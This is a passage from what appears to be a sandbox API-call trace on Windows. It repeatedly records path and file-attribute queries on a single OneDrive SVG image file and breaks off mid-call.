lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.796] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.796] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.797] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.797] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.797] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.797] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.798] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.798] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.798] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.798] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.799] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.799] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.799] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.800] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.800] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.800] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.800] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.801] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.801] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.801] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.801] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.802] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.802] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.803] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.803] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.803] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.803] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.804] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.804] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.804] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.805] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.805] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.805] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.806] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.806] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.806] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.806] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.807] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.807] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.807] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.808] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.808] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.808] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.809] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.809] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.809] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.809] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.810] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2bfc71b0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2bfc71b0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2bfc71b0, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0x187)) returned 1 [0221.810] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\images\\checkmark_in_progress.svg", lpFilePart=0x0) returned 0x62 [0221.810] GetFullPathNameW (in: 